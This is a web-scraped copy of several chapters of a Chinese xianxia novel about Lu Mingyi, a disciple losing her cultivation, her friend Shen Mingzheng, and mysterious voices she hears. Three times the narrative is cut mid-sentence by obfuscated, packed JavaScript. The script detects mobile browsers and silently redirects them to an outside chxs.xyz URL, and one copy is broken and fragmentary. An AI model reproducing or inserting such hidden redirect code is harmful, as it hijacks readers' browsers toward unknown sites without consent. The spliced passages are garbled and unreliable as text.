魔修的修炼多半伴随着杀戮,是以为正道所不容,千年前的正魔大战,魔修大溃,从此被压制在了西北一角,无法靠近九洲腹地分毫。 然而近几百年兴起了一个“魔宗”,行事风格极为狠辣诡谲,给正道诸多世家宗门带来了麻烦。 明萱道:“魔宗必然不会草率行动,保不准她们已经在正道内派了探子。你师尊认为这种情况下,你在宗门的位置会比较危险,所以她忙的这段日子,由我来照看你。” “我?危险?”鹿鸣意洗茶的动作一顿,有些许不解。 其实她还想问为什么不是姜流照来和她说这些,明明前天自己去凌烟阁的时候,对方是有机会说的。 但转念一想,这种问话显得有点太孩子气,又憋了回去。 明萱看着自己眼前与记忆中别无二致的人,向来心直口快的她也静默片刻后才缓声道:“你不记得了?六十年前,魔宗圣女潜入正道想要窃取秘宝,正是你识破那位圣女的计谋,彻底打乱了魔宗的计划,并让她们不得不继续沉寂。” “啊,那师尊和师姑是觉得,魔宗那边的人会心怀报复?”听了明萱的解释,鹿鸣意将洗茶的水从茶壶中倒出,扬了扬眉,“我现在都这样了,魔宗还需要浪费时间在我身上吗?” “魔宗的人素来残忍乖戾,她们当年吃了那么大一个亏,一定不会善罢甘休,小心为上。”明萱怕鹿鸣意没有意识到严重性,又强调道,“这些年来,你一直被看作是继承你师尊长虹剑尊衣钵的人,也是同辈里的第一人,你难道不知道自己意义重大?” 鹿鸣意听前面半句还能应和地点点头,听到后面,简直要把问号贴在脸上了:“明萱师姑,今年是辛酉年啊。” “辛酉年怎么了?” “你说的怕不是上一个甲子【注1】的事了。”鹿鸣意控火烧水,还不忘吸了一下鼻子作出感动的模样,“想不到师姑居然如此在意我,把我的事情都记得那么清楚……” “唉唉唉,扯哪儿去了!”明萱怒喝。 鹿鸣意却还是不以为意,水被煮沸后升腾起了一片水雾,让她的声音也跟着变得模糊:“是真的,那都是以前的事了。” 4. 第四章 不管鹿鸣意本人是什么态度,明萱接受了姜流照的嘱托,为金霁阁布下了一层阵法和符箓防护,又给了鹿鸣意几件高级护身法器、传讯符箓,和一如既往的批量丹药,让她有什么需求直接开口。 虽然知道丹修普遍有钱,但明萱出手如此阔绰,在鹿鸣意见过的人里,大概只有沈家能在其之上了。 提到沈家,鹿鸣意从储物戒指中拿出了沈鸣筝送给她的那个碧蓝色宝盒,这宝盒镶金戴玉,通体碧蓝盈透,光盒子就价值不菲,符合沈鸣筝一贯的喜好。 而打开盒子,也如鹿鸣意一开始所料,是一整盒的上品聚灵丹和续灵丹,这些丹药成色极好,一看便出自沈鸣筝之手。 并且,即便贮存在盒中,鹿鸣意也能感知到这批丹药散发出的极为薄弱的灵力波动——证明这批丹药出丹炉并不超过五日。 然而聚灵丹和续灵丹全是用于滋养温补经脉,扩充丹田灵力的,通常低等级的修仙者用来补充灵力,或者是给伤者用的。 沈鸣筝是定然用不上的,那她五日内炼制这么一批丹药是为何? 她琢磨了一会儿,想不出个所以然,就把这个问题抛到脑后,打算什么时候碰到沈鸣筝想起来再直接问对方。 鹿鸣意脑海里又闪过前日在金阙阁听到的那个声音,哪怕她认为那声音的来源不怀好意,然而光是想象沈鸣筝对她说“你早晚是废人一个”,也足以让人感到心中郁涩。 毕竟鹿鸣意知道,沈鸣筝只是表面瞅着脾气大,实际上这人心肠还是软的。 当务之急是找出那些声音产生的原因,鹿鸣意不知道声音的触发条件,但方才明萱师尊在她这儿坐了好半天,她也没听到新的声音。 她打算在屋内修炼一会儿后,去山下的太清城上逛一圈,找找其她线索。 吞下一枚聚灵丹,鹿鸣意在床上盘腿坐下,开始吸收天地灵气在丹田内运转周天。 但一如过去三年的每一天,那些原本被引动至丹田内的灵力,如泥沙入江一般,甫一接触她的丹田便消失殆尽。 而鹿鸣意即便早已知道结果,却还是一遍又一遍地重复这个过程,直到她能清楚地感知体内经脉传来隐隐的疼痛,便是身体已经到了极限。 再睁眼时,鹿鸣意依然是筑基三层,修为没有丝毫变化。 若是一般的筑基期修士得沈鸣筝这么一枚上品聚灵丹,修炼上一段时间,是怎么着都能提升一点的。 鹿鸣意吐出一口浊气,先捶了捶自己因久坐而有几分酸软的腿。 虽然明知没有用,但在剑峰这么多年,她早已养成了有时间就修炼的习惯,更何况她也还是心存一点侥幸,想着没准哪天她的身体就恢复正常可以照常修炼了。 侥幸到底是侥幸,鹿鸣意习惯了修炼,自然也习惯了修炼完后修为毫无长进这件事。 她整理好衣袍,又马不停蹄地出门前往山下。 太清宗位于群山之上,山下依托而生的小镇与其同名,数百年来因着太清宗逐步强盛,太清城也变得日渐繁华,传闻比起人间甚为繁华的金陵城也不多承让。 这会儿正值当午,街上更是车水马龙、人来人往。 鹿鸣意身形高挑又偏削瘦,步态轻盈地绕开人群,她轻快明丽的模样在人群中分外惹眼。 很快,她就到了此行的第一站,落玉轩——太清城内最大的珠宝铺。 鹿鸣意还惦记着叫沈鸣筝帮自己炼制丹药的事。 想要送她师尊火灵丹是早就想好的事,而找沈鸣筝帮忙也是早有打算,因此早在出发去秘境之前,鹿鸣意就到了这落玉轩,找老板定制了一个玉坠和一个玉佩。 不论什么法器、丹药,姜流照作为一峰之主,沈鸣筝作为沈家少主,她们是定然不会缺的,是以鹿鸣意认为送份具有自己心意的礼会更合适。 而玉饰,最适合送礼,还可以用作储物法器。 “鹿道友。”看板看着迎光走进来的人,眼前一亮,主动招呼道。 鹿鸣意浅笑着:“老板,我来取我之前定的两份玉饰。” 她穿着太清宗剑峰的金色领口宗服,衣领袖口平整严密,端的是干净利落,而面上眉眼弯弯,一头乌黑的长发用发绳简单系了一下,又平添几分随性潇洒。 老板接待的大多是修士,但这般标致的人也不多见,更何况还是个大顾客,自然是满面笑容,客气道:“早已做好了,道友稍等片刻,这就为你取来。” 鹿鸣意找老板定制的两份玉饰,从材料到雕刻的图案是她自己选择设计的。 姜流照偏好温润光泽的暖玉,不喜太过花俏,因此鹿鸣意仅让玉佩上留了一副简单的山水画。 而沈鸣筝则恰恰相反,她最爱夺目的帝王翡翠,除此之外,鹿鸣意让人雕上几朵重瓣牡丹洛阳红,令这小小的玉饰看起来也尽显精致奢华。 “给,道友检查一下吧。”老板递上了两份精致和礼盒,“两份的储物空间都是一致的。” 鹿鸣意点点头,拿起来看了看,内心赞叹落玉轩的手艺精湛,笑容更灿烂了一些:“多谢老板。”说完,她从储物戒指内拿出了一个更小的戒指递给老板,“这里是二百枚上品灵石。” 旁边有买东西的人听到这个价格,都瞪大了眼睛向鹿鸣意看去,其中不乏与她同样穿着太清宗宗服的人。 “我的天啊我没听错吧,两百上品灵石!” “我师姐一月也才领10枚中品灵石,这人什么来头啊?” “看她的衣领是九卷云纹,这是剑峰的亲传门徒!” “什么,剑峰?那她是……” “哈,肯定就是那个废人了!鹿鸣意!” “你这么一说我就想起来了,她好像从金丹大圆满变成筑基期了对吧……” “可不是么,而且啊,谁知道她现在有没有变成练气期呢?哈哈哈哈!” “都这样了,那她怎么还好意思做剑峰的亲传门徒啊?” “有什么不敢的?人家不但敢继续待在长虹剑尊门下,还敢继续扒拉着沈家吸血呢!” “什么……” 那些嘈杂的声音传入鹿鸣意的耳朵里,她微微拧了拧眉,压着眼眸扫过四周,方才说过话的人都默默闭上了嘴,但眼神都还落在她身上。 鹿鸣意轻笑了声,将礼盒收入自己的戒指中,转身道:“几位是兽峰和符峰门下何人?既然对我这个剑峰的人有如此大的意见,何不禀报长虹剑尊,或者你们自己的师尊,请求将我逐出师门呢?” 许是没想到鹿鸣意居然这么直接的回呛,她们不过是几个外门门徒,哪里敢真的和亲传门徒叫板,尤其是面对鹿鸣意这个曾经太清宗的天之骄子。 即便不知修为,但她逆着光直挺挺站在那儿,明明是笑着,扫过来的视线却冷漠至极,仅是这么打上一个照面,这几个人就被鹿鸣意周身传来的气场给逼得说不出话。 “若有任何不满,下次记得当面找我对峙,而不是背后议论。” 鹿鸣意到出落玉轩的门时面上都带着笑,好像她真的只是在提意见一样,然而却叫那几人胆战心惊。 出了落玉轩,鹿鸣意的笑就敛了起来。 原本她是想装作没听见的,但是这群人说到了师尊,又说到了沈家,那她就不能不管不顾。 当然,她不是为那些人的话心烦,毕竟这三年来她听得是越来越多,心中早就不甚在意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019079|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而此刻,鹿鸣意也没再听到那种仿佛从另一个空间传来的声音。 连着两天都没有任何迹象,她几乎又要认为那是自己的幻听了。 鹿鸣意决定再观察一下,于是,她又去往今天的第二个目的地——乾坤库。 乾坤库坐落在太清城的中央位置,是一个地地道道的风水宝地,整体成圆柱形,占地面积颇大。能在太清城中心区域占下如此大的地盘的,唯有沈家。 虽然如今有各种各样的储物法器,但大多储物空间极为有限。 若是想要一个大点空间的,只能去秘境中碰碰运气,这类法器又极为稀少。如果是家产丰厚点的修士,恐怕从十根手指到全身各处都要挂上储物法器才行。 为此,沈家嗅到商机,招揽了相当数量的阵法修士,创设阵法可以供物品传送和储存。 修士们在乾坤阁办理账户后,即可获得一个属于自己的储物格。储物格内可以存放任何东西,并且存储进去后,可以在各地的乾坤阁内取出。当然,账户也分等级,分天地玄黄四级,等级越高的账户拥有的储物格空间越大。 乾坤阁内最基础的储物格面积也已经远超一般的储物法器,是以,如今绝大多数修士都在乾坤阁内有账户。 鹿鸣意当然也有,并且,她还是特级账户,不在常规范围内。 “鹿小姐,这边请。”鹿鸣意甫一踏进乾坤阁内,就有人走了上来接她,要引她上楼上的厢房。 “不用了,我就是来取点东西。” 鹿鸣意微微抬手表示拒绝,她来乾坤阁的次数不多,原因就是这边事儿太多,每次陪沈鸣筝来,都要上去厢房喝茶消遣一会儿。 她这次来是想取几个以前从秘境中带出来的仙草和符箓。 这回去秘境负伤,鹿鸣意觉得欠下了一堆东西。 师姐照顾她好几天,她必然要赠礼感谢,师妹因为她受罚,她自然也要补偿,当然还有师姐的好友贺茗,帮她疗伤好几次,也要登门感谢的。 鹿鸣意在心里打算着要取哪些东西出来,没注意到身后已经有几个人在靠近。 “哟,鹿师妹,今天怎么一个人出来啊?” 一道略显尖锐而又有些发抖的女声响了起来,鹿鸣意没有第一时间回头去看,而是先把自己在乾坤阁的令牌交给负责人,让她去储物格拿东西,随后才转身轻飘飘抬眸看向来人: “陈师姐,这么巧啊,你也来取东西?” 来的是一个比鹿鸣意矮上几分的女人,她面色颇为苍白,但这会儿又泛着不大正常的红晕,一双吊三角的眼睛紧紧盯着鹿鸣意:“你来取东西?怎么,沈家的大小姐不陪你玩过家家游戏了,转而让你跑腿了?” “是啊,人家很忙的,陈师姐也要抓紧时间修炼呀。”鹿鸣意丝毫不在意对方逼近的步伐,依然好端端站在原地。 女人却被这话刺得不行,她瞪大了眼睛,怒道:“鹿鸣意,你还有脸说我?你也不看看自己如今是个什么货色!” 说完,她又转为嘲讽的笑,眼中满是恶意:“你这会儿又是想攀上谁?沈大小姐看不上你了,你是不是又打算去找那个落魄的萧家少主?还是那个新来的内门第一?又或者是……万人敬仰的长虹剑尊?” 听到这些话,鹿鸣意原本还带着淡笑的姿态消失了,素来微弯的眉眼此刻是一片冰冷。 背在她身后的佩剑“故里”已经出鞘,灿金色的锋芒让哪怕是汇聚天材地宝的乾坤阁也黯然失色。 “你……”面对着女人莫名有几分激动的神色,鹿鸣意张了张唇。 却不想,旁边突然炸起一道裹挟着暴怒的声音打断了她: “你当真是找死!” 5. 第五章 与这道盛怒的声音一起来的,还有刺耳的破空声。 鹿鸣意原本冰冷的神色变了变,然而到底是她修为跌落太多,等她反应过来时,方才讥讽她的那几人四周的地板已经被砸出了几个坑。 乾坤阁既然贮存天下修士的东西,那自然要在防护和安全上下功夫。整座阁子布下多少符箓和阵法就不用提了,连这铺地的地板都是价值千金的玄龟甲。从乾坤阁推行至今,还没有人敢在这里闹事。 因此,突然来这么一出,周围人被这变故给吓得赶紧四散避开。 处于风暴中心的鹿鸣意则是看着那几个坑,心里默默说:砸得这么深,到时候要修补这些洞又是一大笔钱。 “陈清和,你有本事再把刚刚那句话说出来!” 飘散起的烟尘被一道劲风吹开,沈鸣筝周身围绕着一条赤红色的柔软绸缎,照得她凤眸中火光更盛。 能在乾坤阁内如此嚣张行事的,除了沈大小姐,也没第二个人了。 方才对着鹿鸣意盛气凌人的陈清和,这会儿脸上升起的那点红晕彻底褪去,露出了她原本煞白的脸色,眼瞅着沈鸣筝踏步而来,她忙道:“沈、沈鸣筝!我……你敢对我动手?!” 沈鸣筝冷笑着,但是那股子气是愈烧愈旺:“有什么不敢?你背后造谣同门暂且不论,太清宗的峰主长老何时是能被你嘲弄的?陈家把礼义廉耻都教到哪儿去了!” 她说完,缠绕周身的红绫光芒更甚,显然已经蓄势待发。 鹿鸣意在看到沈鸣筝连“朱焰绫”都召出来时就明白这人已经气得不清,原想着等她把陈清和这群人骂一顿就行,哪知道沈鸣筝这是真的想动手了。 她心里泛着嘀咕:以前也没见沈鸣筝这么维护师长啊。 朱焰绫飞出之时,鹿鸣意彻底抽出了故里。 她丹田内灵力流转,故里剑身光芒更甚,面对朱焰绫甚至还要更胜一筹,几个轻巧的剑技,鹿鸣意便四两拨千斤地改变了朱焰绫的攻击方向。 然而,虽然鹿鸣意的身姿瞧着轻松随意,但在故里与朱焰绫碰撞之时,她的掌心便传来一阵猛烈的震痛,这会儿又因为还带着伤便动用灵力,连经脉都传来痛感。 修为跌落所带来的后果,在此刻更为明显。 鹿鸣意还来不及去细想,沈鸣筝却是已经冲过来一把抓住了她的衣服,明艳的脸上是一片压抑的怒意和阴翳:“你冲出来做什么?” “阿筝,”鹿鸣意忍着经脉传来的痛,吸了口气,唤她,“宗规规定了门徒不能擅自斗殴。她们背后说人就由宗门处置,你若主动动手,到时候受罚的反倒是你。” 末了,她又眨眨眼笑道:“而且,别这么暴力嘛!” 鹿鸣意说完,便感觉沈鸣筝拽着她衣服的手收紧了些。 她很清楚,在沈鸣筝脾气上来的时候想要劝住她得废一番功夫。 是以,鹿鸣意好脾气地浅笑安抚着,丝毫不在意自己理得干净平整的宗服已经被沈鸣筝拉得皱成一团。 沈鸣筝的眸色生得浅,是那种近乎灿黄的琥珀色。 此刻这双眼眸里除了愤怒,还翻涌着其她诸多情绪,鹿鸣意注意到了,但没怎么品出来那些是什么。 她反而是想,不知什么时候起,沈鸣筝的眼中时时绕着这些复杂的东西。 僵持了好一会儿,沈鸣筝冷哼一声,松开抓着的鹿鸣意的衣服,将她推开些:“你说得对。” 转而,她又慢条斯理地抬眸看向从刚才开始就只能呆站在那儿的陈清和几人,故意缓声道:“你们方才说得那些话,我会一字不落地汇报给几位的师尊,和……长虹剑尊。” 陈清和是符修,通常来说符修的战斗力是比丹修高一些的,只可惜沈鸣筝不但修为高,本命法器朱焰绫也是极品。 陈家算得上是个修仙界的大世家,但比起沈家,差得不是一星半点。 背后说人闲话还被正主抓到,甚至差点被打,陈清和和她两个跟班是一点不敢再在沈鸣筝面前造次,却又不甘被人当众教训,因此就把这笔账堂而皇之记到了鹿鸣意这个“罪魁祸首”头上。 鹿鸣意用头发丝想都知道陈清和是个什么脑回路,无非就是想说她攀上了沈家,这会儿沈鸣筝“刁难”她们是在为她出气。 陈清和是个很典型的世家人,刚入宗的时候她以为鹿鸣意并非出身大族,于是有意拉拢。 但是鹿鸣意自幼养在沈家,怎么都算半个沈家人了,自然是拒绝了陈清和的邀约,不曾想这人大概是被下了面子恼羞成怒,从此有事没事就喜欢讥讽鹿鸣意是攀炎附势之人。 并且从鹿鸣意修为开始倒退后,陈清和做得是更加过分。 鹿鸣意对上陈清和那带着怨念的眼神,依然不为所动,在这一场突如其来的风波过去后,她还惦记着她是来乾坤阁拿东西的。 “你自己来乾坤阁做什么?”那头,沈鸣筝收了朱焰绫,让负责的管事过来善后,旋即盯着鹿鸣意问道。 鹿鸣意正要对她说:“我来取东西的,哪想到会碰上这档子事。” “你要急着拿东西,让乾坤阁的人送去金霁阁就行了,干什么要自己出来。”沈鸣筝轻嗤一声,摇摇头又招呼鹿鸣意,“拿完了就一块儿回去。” “还没呢,等一会儿。”鹿鸣意想着如果没这么一插曲,她大概早就拿到东西去下一站了,“唉对了,阿筝,这个给你。” 她说着,从储物戒指里拿出了一古朴礼盒,递给沈鸣筝:“感谢你愿意帮我炼丹。” “落玉轩的?”沈鸣筝一眼就认了出来,放眼修仙界,没几个她看得上的珠宝铺子,太清城的落玉轩算是为数不多入得了她的眼的。 “给我?”虽然用的是疑问句,但沈鸣筝接过礼盒的动作是毫不犹豫。 鹿鸣意见她拿过去,只是用掌心拖着,却并没有打开的意思,遂问:“你不看看是什么?” 沈鸣筝又哼笑着:“回去再看。” 瞧着那张漂亮的面庞一扫阴霾,露出往常的明艳时,鹿鸣意把“那你干嘛不收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019080|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进储物戒指里,还要拿手上”这句话憋了回去。 至少沈鸣筝这会儿心情挺不错的,她就不说旁的了。 “你呢,你也来拿东西?”鹿鸣意顺口问了句,毕竟在她印象里,沈鸣筝除非是要来乾坤阁听曲玩儿,否则要东西都是让人直接送上太清宗的。 哪知道沈鸣筝对这随口的话反而没有即刻回答,而是沉默片刻后说:“因着旁的一些事,无需在意。”随后,又即刻说,“你这回挨罚,要多久?” 本就是随口一问,鹿鸣意注意到了沈鸣筝的反常,但也没往心里去,回答道:“一月。” 沈鸣筝点点头,瞥她:“我姨母过段日子要去人界一趟,你之前不是一直念叨着人间的金陵城?等你出来,到时候我们一块儿去。” “当真?”鹿鸣意顿时眼睛一亮,她又凑过去一把抱住沈鸣筝,“哎呀好姐姐,跟着你果然有好日子啊!” 她确实念叨过几回金陵。 鹿鸣意幼时被娘亲们带去过一回,那也是她为数不多与双亲有关的记忆,她曾经还想过,或许等她修为彻底消散后,去金陵安度余生也是个不错的选择。 被突然揽住,沈鸣筝白净的脸上登时浮现出一层淡粉,她怒道:“鹿鸣意!大庭广众之下拉拉扯扯成何体统!”说完她就推了几下鹿鸣意。 两人一如既往地小打小闹着,这时一位侍女小跑着走了过来,将一个精致的盒子递到鹿鸣意面前道:“见过少主。鹿姑娘,这是您要的仙草和符箓。” “多谢。”鹿鸣意礼道,接过了盒子。 “仙草、符箓?”沈鸣筝闻言,柳眉蹙起,“你为何还要特意到乾坤阁拿这些?你拿符箓做什么?” “送礼用的。这几天都是师姐照顾我,还把她药峰的好友请来了。”鹿鸣意不甚在意,把打算都同沈鸣筝说,“再拿几张符箓给我那师妹吧,毕竟她也因为我受罚了,总要补偿点。” 就在她把盒子收进储物戒指后,却见方才还笑吟吟的沈鸣筝,这会儿面上又染上了阴翳。 “怎么了?”鹿鸣意有些不明所以。 但沈鸣筝只是不大自然地轻轻笑几声,听起来大抵是冷笑,而后转身说:“没什么!你还不走?” “我现在还不回宗门,待会儿还要去买点东西。”鹿鸣意走快了几步跟上去,“真没事儿?你不会是哪里不舒服吧?” “你有事就快走,别在这儿烦我!” 沈鸣筝是闹脾气还是真生气,鹿鸣意还是能分辨出来的,这会儿眼瞧着对方是真的动了怒,哪还能就这样稀里糊涂地走人,还想再说什么,沈鸣筝却是直接踏上朱焰绫御器飞走了。 “她这脾气怎么越来越让人搞不懂了……”鹿鸣意看着沈鸣筝远去的身影,无奈摇了摇头。 然而就在她已经快要忘了“听到声音”这件事的时候,她的耳畔再度响起了那个如鬼魅般的声音: 【呵,给这个送礼给那个还情,有沈家都还嫌不够,如此长袖善舞,果真是满脑子攀炎附势!】 6. 第六章 送礼、沈家,这些关键词出来,这无疑都是在指向,方才那句话是和沈鸣筝相关的。 鹿鸣意沉思片刻,更觉得这声音定然来者不善。 她和沈鸣筝自幼一起长大,对彼此品性最为熟悉。 比如她知道沈鸣筝虽然有点大小姐的骄纵脾气,却并非是嚣张跋扈,该有的礼仪品行她都有,就算一时气头上,发泄过后也就没事了。 是以,沈鸣筝也必然清楚,鹿鸣意最不在意的便是所谓名利。 但这声音实在是烦人,她觉得自己还是尽早解决得好。 于是,在乾坤阁拿完东西的鹿鸣意来到了今天的最后一站,一处书铺。 太清宗的藏书阁收集的都是正经书亦或功法,莫名其妙听到某个声音这种邪门的事,她们这种名门正派的书还真不一定有提及,就算有,大抵也是在藏书阁第九层的禁书区了。 若是鹿鸣意修为没有跌落,她多半会选择自己偷偷溜进禁书区,但她现在不过筑基三层修为,擅闯禁书区只是增加在思过崖的处罚时间。 要找寻替代的,当然就是来这种书铺,多的是人写得一些奇闻轶事,有真有假。 “老板,把你这儿修士能听到奇怪声音的本子都给我来一份。”鹿鸣意进去,开门见山。 老板原本正在凳子上嗑瓜子,这会儿见到来了个大客户,瓜子都不磕了招呼着:“唉道友稍等啊,我这就找来。最近正流行听别人心声的本子呢,刚好进了一批新货。” “等一下,不是听心声的。”鹿鸣意眉梢一挑,向老板解释,“就是……听到其她声音的。” “哦,那也有,主角走火入魔变成魔修,成为一方霸主打脸过去欺负自己的人。”老板认为自己十分上道。 “……那还是算了,把除了主角变魔修以外的本子来一份吧。” “好!道友这本你先拿着,这是最近卖得最火的一本,还刚好是听心声的。”老板简直要乐开了花,拿起手边一本册子就塞到鹿鸣意手里,接着去找剩下的了。 鹿鸣意本没往“听心声”那方面想,但平日里偶尔也会看看话本,这会儿不看白不看。 然而打开第一页看清主角名,她就“啪”地一声把册子合上了。 “道友怎么了,可是不合心意?”老板见状,急忙问道。 “呃,不……没什么,你接着找吧,不用管我。”鹿鸣意扯起嘴角笑笑,待老板走后,看着手里的东西,感觉拿得不是话本,而是烫手山芋。 这册子的主角不是别人,正是她,她的师尊长虹剑尊,还有太清宗宗主碧月剑尊。 这不但是个同人本,还是三角恋,甚至连尊号都不带改的! 虽然修仙界用一些知名修士的名字、经历写话本并不在少数,但大多写手都会收敛些,把人名尊号修改一下,这般直接的,鹿鸣意还是第一次见。 光是看到自己的名字和姜流照放在一块儿,鹿鸣意就觉得心在发抖。 她实在不敢看这本,于是默默将话本放回了原来的位置。 但是,怎么能还和碧月剑尊扯上关系呢? 鹿鸣意脑海里有关这位太清宗宗主的记忆并不多,几次见面都是在宗门的庆典或者大比上,只是从姜流照那儿零星听到过,宗主与她师尊也是师出同门,两人还都是剑修。 碧月剑尊除了剑术出众外,更为擅长的是易数卜卦,除此之外,宗主的身体一直不大好。 老板抱着一摞书来了之后,鹿鸣意爽快地付了灵石,当然,她没有买那本三角恋cp本。 趁着老板收钱的间隙,她问道:“老板,长虹剑尊和碧月剑尊还有同人本?” “嘶,道友这一问,就很年轻啊。”老板对待大客户很是耐心,“我们这店可是有500年历史了,以前卖的最好的就是她二位的同人本,不过嘛,近百年来确实不多了。” “唉但你看,这新出的,一有就十分畅销啊!” 鹿鸣意有些疑惑,她买过几本同人本,知道能出话本的至少也要知名的关系好的才行。 当年还有她和沈鸣筝的,鹿鸣意拿话本当着沈鸣筝的面读了几段,差点被朱焰绫打断了腿。 而她自认为在宗门内和姜流照相处时间已经算是多的了,却也极少见对方和宗主一块儿出现,还不如隔壁明萱来的勤。 这二人关系好到能出同人本了,又怎么会在同一宗门内如此少的往来? “不过,唉,以前长虹剑尊和她门徒的话本也卖的挺好的,近来倒是不行了。”老板说着,还有点颇为可惜的味道。 鹿鸣意心一梗,试探着问:“你说的门徒不会是……” “喏,就这本上面的这位啊,鹿鸣意。”老板还没注意看鹿鸣意宗服上的九卷云纹,直接说,“修仙界谁不知道长虹剑尊有个天才宝贝门徒,什么好的都给她,大伙儿最喜欢这种搭配了,可惜……唉,可惜!” 老板没说可惜什么,但鹿鸣意清楚。 无非是想说,这位曾经的天才门徒,如今修为越跌越低,早已是废物一个。 这种人,怎么能再和那些天骄并列出现在话本之中? 但这些都是老生常谈的话题了,鹿鸣意惊得是居然还有人写她和她师尊的同人本。 她和她师尊差了多少啊! 那老板原本还在继续给鹿鸣意讲长虹剑尊有多少同人本,但讲着讲着就看到了鹿鸣意衣领上的九卷云纹,脸色立刻僵住了:“道、道友是太清宗……亲传门徒?” “啊?哦是,但你接着说,不用管我。”鹿鸣意摆摆手。 老板见状,哪还敢继续说,忙把那一摞书推给鹿鸣意,还哭丧着脸:“道友,这些书我给你算半价,你可千万别给长虹剑尊说啊。” 鹿鸣意心说她也不敢跟她师尊说“我今日在街上看见了你的同人本”啊。 她把老板递回来的灵石又抛在了老板的柜子上,道:“老板别担心太多,这年头谁不看点话本?” 待她走后,那老板依然还是丧着脸,欲哭无泪:“真有啊,之前可还有个不知哪来的金光闪闪的大小姐差点烧了我这家传的铺子呢!” 那头的鹿鸣意满载而归,正往自己的金霁阁走去,远远地就又瞧见了明萱窈窕的身影,正站在她府邸门口。 “嘿,你这丫头还真是,怎么净往外跑!”见了她,明萱又是一顿批。 “师姑,我也要出去透透气嘛。”鹿鸣意笑着说,又招呼明萱进屋喝茶。 却不曾想这回明萱居然回绝了:“不了,宗门内还有一堆事要处理。你师尊方才来找我,托我给你送几句话,我把话带到了就走。” “师尊找你?”鹿鸣意没忍住脱口而出,“那她为什么不直接来找我,同我说?” 明萱眉毛一竖,双手叉腰,先是应和着说:“就是,我也想问这个!”随后又意识到鹿鸣意是小辈,在小辈面前不能如此没有形象,正色道:“不对,我来说又有什么问题?你是半大的孩子吗,还事事都要黏着你师尊。你师尊最近很忙的!” 鹿鸣意心说她师尊再忙,要传话的话用身份牌也可以啊,做什么还要特意去找明萱带话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019081|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但这话是万万不能说出来的,于是鹿鸣意适时地敛了探寻的神情,转而乖巧道:“好嘛,那师尊让师姑来和我说什么?” “咳。”明萱轻咳一声,脸上浮现出无语的表情,“她说,既然你身子好得差不多了,那就三日后去思过崖领罚。” 鹿鸣意沉默了一会儿,和明萱大眼瞪小眼:“就这?” “是啊,就这。” 这事儿更是可以用身份牌传话解决的了! 鹿鸣意瞧着明萱那样子,知道她大概也是没想到姜流照会为这么一句话大费周章,偏偏对方又是她尊敬的师姐,硬着头皮也要接下来。 这事有些怪,但鹿鸣意还是先应了下来,再邀明萱进屋喝茶表示感谢。 只是明萱确实有要事在身,她挥了挥手:“我这儿真一屁股事,不但宗门、丹峰的事没处理完,连我那几个门徒的课都没讲完!” “你下次见着沈鸣筝帮我说她几句,再怎么有急事,也不该直接冲出课堂吧!” “什么?今日吗?”鹿鸣意没想到还有这么一出。 明萱提到这事儿明显有气:“可不就是今日!” 这么说来,沈鸣筝原本是在上课的,但因着某些急事,她直接下了山,然后在乾坤阁碰上了鹿鸣意。 想到沈鸣筝当时还是带着气走的,鹿鸣意赶紧在明萱这儿旁敲侧击:“师姑,那你可知阿筝是为何事如此着急?” “不知!”明萱没好气说了一声,随后又说,“不过有可能是沈家的事儿吧。我之前不是和你说过魔宗对五色石的传说不死心吗,沈家作为第一世家,必然在魔宗的目标之列。” 鹿鸣意思索一番,觉得这个理由倒还真有可能,毕竟能让沈鸣筝紧张的事也只能是沈家了。 但若是沈家的事,她又怎么毫不知情? 想到这儿,鹿鸣意心中又加了一件事。 她本想再问几句,可明萱急着回丹峰,她只能赶紧把另一个不太方便问的问题先问了:“明萱师姑,我可以再问个问题吗?” “快说,你今儿怎么这么多问题?” 鹿鸣意吸了口气,缓声道:“我师尊……和宗主,关系很好吗?” 明萱原本还有几分不耐的神色变为了讶异:“你怎么突然问这个?” “因为这段时间,师尊似乎都很忙,但若只是代理宗主一职,应该没有这么忙碌不是吗?”鹿鸣意斟酌着语气,让自己的说辞更为可信,“所以我想,师尊其余的时间可能是在……照顾宗主?” 明萱皱眉,犹豫一瞬,但是考虑到鹿鸣意是姜流照的爱徒,便开口说:“她们……以前关系非常要好,不过后来修道的理念略有不同,不复往日亲密。但到底是相伴数百年的师姐妹。” 鹿鸣意明白了。 虽然姜流照性子清冷,孤高难以靠近,但在她过去数百年的日子里也有人常伴身侧,所以这会儿她会日夜守在那人身旁。 而这些,姜流照在过去近百年里从未开口向她提及。 明萱说完,见这素来明朗的小师侄似乎有些低落,又关切道:“怎么,真想师尊了?她只是这段时间有点忙,等宗主师姐病好了,她定然要来看望你的,毕竟你可是她倾注最多心血的门徒,是她那套赤霄剑法钦定的传人。” “我就是问问,我知道师尊事务繁忙。”鹿鸣意语调轻轻。 